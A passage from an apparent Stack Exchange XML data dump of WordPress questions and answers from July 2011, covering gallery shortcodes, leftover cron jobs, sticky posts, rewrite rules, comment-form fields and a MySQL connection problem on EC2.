wptexturize($attachment-&amp;gt;post_excerpt) . &quot;&#xA;                &amp;lt;/{$captiontag}&amp;gt;&quot;;&#xA;        }&#xA;        $output .= &quot;&amp;lt;/{$itemtag}&amp;gt;&quot;;&#xA;        if ( $columns &amp;gt; 0 &amp;amp;&amp;amp; ++$i % $columns == 0 )&#xA;            $output .= '&amp;lt;br style=&quot;clear: both&quot; /&amp;gt;';&#xA;    }&#xA;&#xA;    $output .= &quot;&#xA;            &amp;lt;br style='clear: both;' /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;\n&quot;;&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-07-20T18:51:56.640" LastActivityDate="2011-08-19T20:32:26.603" Title="Calling function from within functions.php returns unwanted value" Tags="&lt;plugins&gt;&lt;php&gt;&lt;shortcode&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23410" PostTypeId="1" CreationDate="2011-07-19T08:54:36.130" Score="0" ViewCount="42" Body="&lt;p&gt;I have created a custom post type with custom meta columns and I was wondering if it is possible to sum one meta value column? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please take a look at the &lt;a href=&quot;http://dl.dropbox.com/u/8228019/price.jpg&quot; rel=&quot;nofollow&quot;&gt;image&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2011-07-19T09:17:57.203" Title="Custom post type meta column total sum" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23411" PostTypeId="2" ParentId="23408" CreationDate="2011-07-19T09:02:53.287" Score="0" ViewCount="" Body="&lt;p&gt;You could make sure users have to be registered and logged in to comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also add a CAPTCHA plugin so valid users have to type in a code before posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end of the day though it seems Aksimet is doing it's job and stopping the spam which is surely a good thing?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-19T09:02:53.287" CommentCount="2" />
  <row Id="23412" PostTypeId="1" AcceptedAnswerId="23417" CreationDate="2011-07-19T09:05:06.953" Score="1" ViewCount="41" Body="&lt;p&gt;Hi I am using a plugin to view the cron jobs that are run by wordpress. I am noticing that there are jobs related to plugins I have deactivated and even deleted. Why is this so and how can I remove them?&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-07-19T10:40:36.633" Title="Cron jobs for deactivated plugins" Tags="&lt;cron&gt;" AnswerCount="2" />
  <row Id="23414" PostTypeId="2" ParentId="23407" CreationDate="2011-07-19T09:16:19.557" Score="0" ViewCount="" Body="&lt;p&gt;you can run something like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo chown -R myusername:www-data public_html&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will solve both the problems together&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-07-19T09:16:19.557" CommentCount="2" />
  <row Id="23415" PostTypeId="2" ParentId="23410" CreationDate="2011-07-19T09:17:57.203" Score="-1" ViewCount="" Body="&lt;p&gt;You would need to get all the custom posts and do a &lt;code&gt;foreach&lt;/code&gt; loop to pull the meta value out and add it to a total using &lt;code&gt;+=&lt;/code&gt; in the loop. After the loop you then need to echo out the total. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-19T09:17:57.203" />
  <row Id="23417" PostTypeId="2" ParentId="23412" CreationDate="2011-07-19T09:22:30.180" Score="1" ViewCount="" Body="&lt;p&gt;This might be because the plugins you were using didnt deregister the crons it setup. To remove the crons use the following code in your functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;init&quot;, &quot;clear_crons_left&quot;);&#xA;function clear_crons_left() {&#xA;    wp_clear_scheduled_hook(&quot;cron_name&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once thats run once you can safely remove it&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-07-19T10:40:36.633" LastActivityDate="2011-07-19T10:40:36.633" CommentCount="8" />
  <row Id="23418" PostTypeId="2" ParentId="23412" CreationDate="2011-07-19T09:29:11.133" Score="1" ViewCount="" Body="&lt;p&gt;You are seeing jobs that are related to plugins that were deactivated because its a badly coded plugin which should have cleared the scheduled job when it was deactivated,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any way you can uncshedule them using   &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_unschedule_event&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;wp_unschedule_event&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-19T09:29:11.133" />
  <row Id="23419" PostTypeId="1" CreationDate="2011-07-19T09:36:50.000" Score="0" ViewCount="46" Body="&lt;p&gt;I am trying to upload images to wordpress site via XML-RPC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But getting this error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An error occurred - 500:Could not write file wpid-n (Invalid file type)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include &quot;IXR_Library.php&quot; ;&#xA;&#xA;&#xA;$client = new IXR_Client('http://wordpress.localhost/xmlrpc.php');&#xA;&#xA;&#xA;if (!$client-&amp;gt;query('wp.uploadFile',0, 'admin','pass',&quot;test.jpg&quot;,&quot;image/jpeg&quot;,base64_encode(file_get_contents(&quot;test.jpg&quot;)),1)) {&#xA;    die('An error occurred - '.$client-&amp;gt;getErrorCode().&quot;:&quot;.$client-&amp;gt;getErrorMessage());&#xA;}&#xA;$response = $client-&amp;gt;getResponse();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone Point me What's the problem here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is there any way to attach images to a post ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="6709" LastActivityDate="2011-07-19T09:36:50.000" Title="XML-RPC And wordpress wp.Uploadfile Error : Invalid File Type" Tags="&lt;uploads&gt;&lt;xml-rpc&gt;" FavoriteCount="1" />
  <row Id="23420" PostTypeId="1" AcceptedAnswerId="23426" CreationDate="2011-07-19T09:55:44.067" Score="0" ViewCount="26" Body="&lt;p&gt;Does anyone know how to get 1 or 2 specific posts on top of my wordpress blog all the time?&#xA;I mean just like in a forum where you can sticky a post so they are always on top of the other posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this maybe a simple line of code (i am not realy a coder) or does anyone knows a good plugin for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be realy appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2293" LastActivityDate="2011-07-19T10:50:57.877" Title="How to get 1 or 2 specific posts on top of my wordpress blog?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;sticky-post&gt;" AnswerCount="1" />
  <row Id="23421" PostTypeId="1" AcceptedAnswerId="23531" CreationDate="2011-07-19T10:01:31.380" Score="0" ViewCount="72" Body="&lt;p&gt;I want to retrieve a specific post_meta of all posts contained in a specific category. I want to build a search form at the top of each category with a select field which would be filled up by the required post_meta of all the post contained in the category the user is currently in. Is this doable?&#xA;Maybe it's possible with a loop which would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;For each post_meta called &quot;City&quot; in all posts contained in category 'X',&#xA;you must put it in &amp;lt;option value=&quot;City's name&quot;&amp;gt;City's name&amp;lt;/option&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, here is what I have been able to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;&amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Please pick a city below...&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'City', true) ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'City', true) ?&amp;gt;&#xA;&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not much, I know. Any help, please ?&#xA;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="7131" LastActivityDate="2011-07-20T10:57:42.453" Title="echo get_post_meta of all post in a category to fill up a select field" Tags="&lt;categories&gt;&lt;custom-field&gt;" AnswerCount="3" />
  <row Id="23423" PostTypeId="1" CreationDate="2011-07-19T10:29:40.007" Score="0" ViewCount="27" Body="&lt;p&gt;I am looking for a way to include a user managable title in a menu. Ideally, it will take the place of the first &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; object in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;em&gt;Clarification&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to add a header to a menu list, defined by the given name of the menu in the admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the code should look a little like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li class=&quot;title&quot;&amp;gt; Menu Name&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=#&amp;gt;Link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=#&amp;gt;Link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=#&amp;gt;Link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=#&amp;gt;Link&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;em&gt;Further Development&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a code block for extracting the name of a menu, based on it's location in a theme, but I can't quite get the HTML layout I want (i.e. add the title to the first &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mf_get_menu_name($location){&#xA;    if(!has_nav_menu($location)) return false;&#xA;    $menus = get_nav_menu_locations();&#xA;    $menu_title = wp_get_nav_menu_object($menus[$location])-&amp;gt;name;&#xA;    return $menu_title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-07-19T15:37:15.087" LastActivityDate="2011-07-19T15:37:15.087" Title="Add user managable titles to custom menus?" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;&lt;menus&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23424" PostTypeId="1" CreationDate="2011-07-18T11:49:56.670" Score="0" ViewCount="71" Body="&lt;p&gt;After an intense research without finding the proper answer I decided to ask my question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add some rewrite rules when activating a plugin in WordPress without existing custom rules being deleted. Example: if I add rules for plugin A, they are written into &lt;code&gt;.htaccess&lt;/code&gt; (inside the WordPress block). But if I activate another plugin B which also has custom rewrite rules, then the rules of plugin A are overwritten by the rules of plugin B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I add the rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook(__FILE__, 'activatemyplugin');&#xA;&#xA;function activatemyplugin() {&#xA;   add_rewrite_rule('pdf/([^/]*)$', plugins_url('pdfexport') . '/out/$1', 'top');&#xA;   flush_rewrite_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On deactivation of A or B, all custom rules (of A and B) are removed (replaced by default rules).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deactivatemyplugin() {&#xA;    flush_rewrite_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I add and delete specific rewrite rules, so that previously added rules remain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every help is appreciated. Thanks in advance.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-02T11:35:13.150" Title="How to add multiple rewrite rules to WordPress .htaccess and delete them separately?" Tags="&lt;htaccess&gt;&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23425" PostTypeId="2" ParentId="8962" CreationDate="2011-07-19T10:41:02.343" Score="0" ViewCount="" Body="&lt;p&gt;Have you look at this amazing premium &quot;&lt;a href=&quot;http://buddydev.com/buddypress/introducing-buddypress-facebook-connect-advance-facebook-loginregistration-plugin-for-your-buddypress-based-social-network/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Facebook Connect+&lt;/a&gt;&quot; plugin from BuddyDev? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic Features:-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It allows seamless login/registration on BuddyPress site using Facebook as the authentication source&lt;/li&gt;&#xA;&lt;li&gt;It works with WordPress Multisite as well as WordPress Standard, with BuddyPress enabled.&lt;/li&gt;&#xA;&lt;li&gt;It allows Importing users Facebook data to BuddyPress profile&lt;/li&gt;&#xA;&lt;li&gt;Site Administrators Can map Facebook profile fields to BuddyPress profile fields&lt;/li&gt;&#xA;&lt;li&gt;Completely localized (not just BuddyPress, but also the Facebook connect sections are localized)&lt;/li&gt;&#xA;&lt;li&gt;It uses new Facebook api, so obviously It is very lightweight&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7134" LastEditorUserId="7134" LastEditorDisplayName="" LastEditDate="2011-07-19T10:48:42.573" LastActivityDate="2011-07-19T10:48:42.573" />
  <row Id="23426" PostTypeId="2" ParentId="23420" CreationDate="2011-07-19T10:50:57.877" Score="1" ViewCount="" Body="&lt;p&gt;Set it as a sticky post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tQgyE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-07-19T10:50:57.877" CommentCount="3" />
  <row Id="23427" PostTypeId="2" ParentId="15197" CreationDate="2011-07-19T10:57:05.283" Score="1" ViewCount="" Body="&lt;p&gt;WordPress uses &lt;code&gt;maybe_serialize()&lt;/code&gt; and &lt;code&gt;maybe_unserialize()&lt;/code&gt;. Both of them use PHP's native &lt;code&gt;serialize()&lt;/code&gt; and &lt;code&gt;unserialize()&lt;/code&gt; functions. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/functions.php.source.html#l1028&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/wp-includes/functions.php.source.html#l1028&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/functions.php.source.html#l222&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/wp-includes/functions.php.source.html#l222&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of those functions make use of the function &lt;code&gt;is_serialized()&lt;/code&gt;, which checks if the variable is serialized yet. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/functions.php.source.html#l222&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/wp-includes/functions.php.source.html#l222&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-07-19T10:57:05.283" />
  <row Id="23428" PostTypeId="2" ParentId="1266" CreationDate="2011-07-19T11:09:00.520" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/buddypress-links/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Links&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7134" LastActivityDate="2011-07-19T11:09:00.520" />
  <row Id="23429" PostTypeId="2" ParentId="23423" CreationDate="2011-07-19T11:31:18.640" Score="1" ViewCount="" Body="&lt;p&gt;Are you looking to put a title on the nav links? That is built into the Menu feature in Wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/qVojB.jpg&quot; alt=&quot;Wordpress Title Menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this applies to the  tag and not the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; as you specified. You can, however, apply a class to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; by clicking the &quot;Screen Options&quot; link while in the Menu Admin page. Then, find the &quot;CSS Class&quot; checkbox under &quot;Show advanced menu properties&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you could give your links the desired title and then apply the following jQuery to apply the title to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; and remove it from the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;&#xA;    $('ul li').each(function() {&#xA;&#xA;        var linkTitle = $(this).find('a').attr('title'); //get the link title&#xA;        $(this).attr('title', linkTitle); //apply the title to the li&#xA;&#xA;        $(this).find('a').removeAttr('title');&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JSFiddle example: &lt;a href=&quot;http://jsfiddle.net/tmort/E5VzC/3/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/tmort/E5VzC/3/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-07-19T11:31:18.640" CommentCount="1" />
  <row Id="23430" PostTypeId="2" ParentId="22688" CreationDate="2011-07-19T11:33:38.163" Score="-2" ViewCount="" Body="&lt;p&gt;There is one more place where you can buy premium wordpress theme that is &lt;a href=&quot;http://www.fmys.com&quot; rel=&quot;nofollow&quot;&gt;http://www.fmys.com&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7135" LastActivityDate="2011-07-19T11:33:38.163" CommentCount="3" />
  <row Id="23431" PostTypeId="2" ParentId="23273" CreationDate="2011-07-19T11:41:42.883" Score="0" ViewCount="" Body="&lt;p&gt;I think your best bet is to take a look at Otto's post all about the comment form and functions, here: &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to cut to the chase, you can add this function to your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_fields($fields) {&#xA;$fields['new'] = '&amp;lt;p&amp;gt;Some new input field here&amp;lt;/p&amp;gt;';&#xA;return $fields;&#xA;}&#xA;add_filter('comment_form_default_fields','my_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then set new defaults, changing your HTML and Class/ID's as you like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$defaults = array(&#xA;    'fields'               =&amp;gt; apply_filters( 'comment_form_default_fields', $fields ),&#xA;    'comment_field'        =&amp;gt; '&amp;lt;p class=&quot;comment-form-comment&quot;&amp;gt;...',&#xA;    'must_log_in'          =&amp;gt; '&amp;lt;p class=&quot;must-log-in&quot;&amp;gt;...',&#xA;    'logged_in_as'         =&amp;gt; '&amp;lt;p class=&quot;logged-in-as&quot;&amp;gt;...',&#xA;    'comment_notes_before' =&amp;gt; '&amp;lt;p class=&quot;comment-notes&quot;&amp;gt;...',&#xA;    'comment_notes_after'  =&amp;gt; '&amp;lt;dl class=&quot;form-allowed-tags&quot;&amp;gt;...',&#xA;    'id_form'              =&amp;gt; 'commentform',&#xA;    'id_submit'            =&amp;gt; 'submit',&#xA;    'title_reply'          =&amp;gt; __( 'Leave a Reply' ),&#xA;    'title_reply_to'       =&amp;gt; __( 'Leave a Reply to %s' ),&#xA;    'cancel_reply_link'    =&amp;gt; __( 'Cancel reply' ),&#xA;    'label_submit'         =&amp;gt; __( 'Post Comment' ),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, I'm unsure if you can apply a class or ID directly to the &quot;cancel reply link&quot;. You can try wrapping it in a &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; tag here, or just use some creative javascript to find it and apply a class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a:contains(&quot;Cancel Reply&quot;)').addClass('cancel-reply-link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-07-19T11:41:42.883" CommentCount="1" />
  <row Id="23432" PostTypeId="1" AcceptedAnswerId="23445" CreationDate="2011-07-19T11:49:42.850" Score="0" ViewCount="32" Body="&lt;p&gt;I am trying to only show a single post per month on a query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set the date as a variable and use something like the &lt;a href=&quot;http://php.net/manual/en/function.array-unique.php&quot; rel=&quot;nofollow&quot;&gt;php array_unique function&lt;/a&gt; to check the dates and only echo out unique ones, however this feels a bit 'hacky'. Is there a built in query variable, or something built in WordPress I can use instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the 'hacky' option, I am quite new with PHP and struggling with using the aforementioned function. Checking the date is unique and only echoing out said variables when it is already inside a while loop is confusing me somewhat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the query I am using currently.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?         &#xA;    $news_archive = array(      &#xA;        'post_type'=&amp;gt; 'news',&#xA;        'posts_per_page' =&amp;gt; 6,&#xA;        'orderby' =&amp;gt; 'date'&#xA;    );&#xA;&#xA;    query_posts($news_archive);  &#xA;&#xA;        echo '&amp;lt;ul class=&quot;related_links&quot;&amp;gt;';   &#xA;&#xA;    while ( have_posts() ) : the_post();  &#xA;&#xA;        $date = the_date('F m Y','','',false);&#xA;        $date = explode(' ', $date);    &#xA;&#xA;        $month_str = $date[0];&#xA;        $month_int = $date[1];&#xA;        $year = $date[2];            &#xA;&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/archive/news/' . $year . '/' . $month_int . '/&quot;&amp;gt;';&#xA;        echo $month_str . ' ' . $year;          &#xA;        echo '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';     &#xA;&#xA;    endwhile;     &#xA;&#xA;        echo '&amp;lt;/ul&amp;gt;';   &#xA;&#xA;    endif;&#xA;&#xA;    wp_reset_query(); &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1956" LastEditorUserId="1956" LastEditorDisplayName="" LastEditDate="2011-07-19T13:38:34.590" LastActivityDate="2011-07-19T14:15:03.953" Title="Query pulling a single post per month" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="23433" PostTypeId="2" ParentId="23409" CreationDate="2011-07-19T12:01:41.633" Score="0" ViewCount="" Body="&lt;p&gt;Inside this loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $attachments as $id =&amp;gt; $attachment ) {&#xA;        $link = isset($attr['link']) &amp;amp;&amp;amp; 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);&#xA;&#xA;        $output .= &quot;&amp;lt;{$itemtag} class='gallery-item'&amp;gt;&quot;;&#xA;        $output .= &quot;&amp;lt;span class='photos-comment-number-wrap'&amp;gt;&amp;lt;span class='comment-number'&amp;gt;&quot;. comments_number() .&quot;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&quot;;&#xA;        $output .= &quot;&#xA;            &amp;lt;{$icontag} class='gallery-icon'&amp;gt;&#xA;                $link&#xA;            &amp;lt;/{$icontag}&amp;gt;&quot;;&#xA;        if ( $captiontag &amp;amp;&amp;amp; trim($attachment-&amp;gt;post_excerpt) ) {&#xA;            $output .= &quot;&#xA;                &amp;lt;{$captiontag} class='gallery-caption'&amp;gt;&#xA;                &quot; . wptexturize($attachment-&amp;gt;post_excerpt) . &quot;&#xA;                &amp;lt;/{$captiontag}&amp;gt;&quot;;&#xA;        }&#xA;        $output .= &quot;&amp;lt;/{$itemtag}&amp;gt;&quot;;&#xA;        if ( $columns &amp;gt; 0 &amp;amp;&amp;amp; ++$i % $columns == 0 )&#xA;            $output .= '&amp;lt;br style=&quot;clear: both&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get at the comment count directly from the object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachment-&amp;gt;comment_count&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Refer to &lt;a href=&quot;http://codex.wordpress.org/Database_Description#Table%3a_wp_posts&quot; rel=&quot;nofollow&quot;&gt;the wp_posts table in the Database Description Codex entry&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-19T12:01:41.633" CommentCount="2" />
  <row Id="23434" PostTypeId="1" CreationDate="2011-07-19T01:38:11.687" Score="1" ViewCount="70" Body="&lt;p&gt;I am trying to create a wordpress blog on an Amazon EC2 instance. The amazon base image had apache and php already installed. I installed MySQL manually in my user directory. I am able to login to the MySQL database from linux command line. But I am not able to connect to the MySQL db from php. The scenario I tested was the following. I have a php file which I host through apache. When I open that php file in a browser; the MySQL connection fails. The following is the message in the browser&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error establishing a database connection&#xA;&#xA;This either means that the username and password information in your wp-config.php file is incorrect or we can't contact the database server at xxx.xxx.compute-1.amazonaws.com:port. This could mean your host's database server is down.&#xA;&#xA;    Are you sure you have the correct username and password?&#xA;    Are you sure that you have typed the correct hostname?&#xA;    Are you sure that the database server is running?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is. Is it incorrect to manually install MySQL when php has already been installed? I mean is it recommended to compile-install the php with mysql first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;php/apache was already pre-installed in the machine which I instantiated from amazon. It has amazon linux as the OS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpm -qa |grep -i httpd&#xA;httpd-tools-2.2.16-1.0.amzn1.x86_64&#xA;httpd-2.2.16-1.0.amzn1.x86_64&#xA;&#xA;rpm -qa |grep -i php&#xA;php-common-5.3.5-1.11.13.amzn1.x86_64&#xA;php-5.3.5-1.11.13.amzn1.x86_64&#xA;php-cli-5.3.5-1.11.13.amzn1.x86_64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks. The yum install mysql-server helped a bit. So first I removed my manual installation; and then yum install mysql-server; Additionally yum install -y php php-mysql &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I debugged a bit more. What I found is that if I put the wordpress directory under apache root and don't do port forwarding (no Proxy and proxyreverse), then I am able to connect to the DB from the WP install files. However, if I put the WP files under JBoss and do port forwarding from apache to JBoss, then from within JBoss, I am unable to connect through WP php files to the MySQL DB. So the problem is somewhere within the Caucho Quercus part of JBoss. Any suggestions? Thanks&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-19T12:22:12.670" LastActivityDate="2011-08-18T22:26:45.887" Title="PHP/MySQL issues when running WP on EC2 cloud" Tags="&lt;php&gt;&lt;mysql&gt;&lt;amazon&gt;&lt;cloud&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
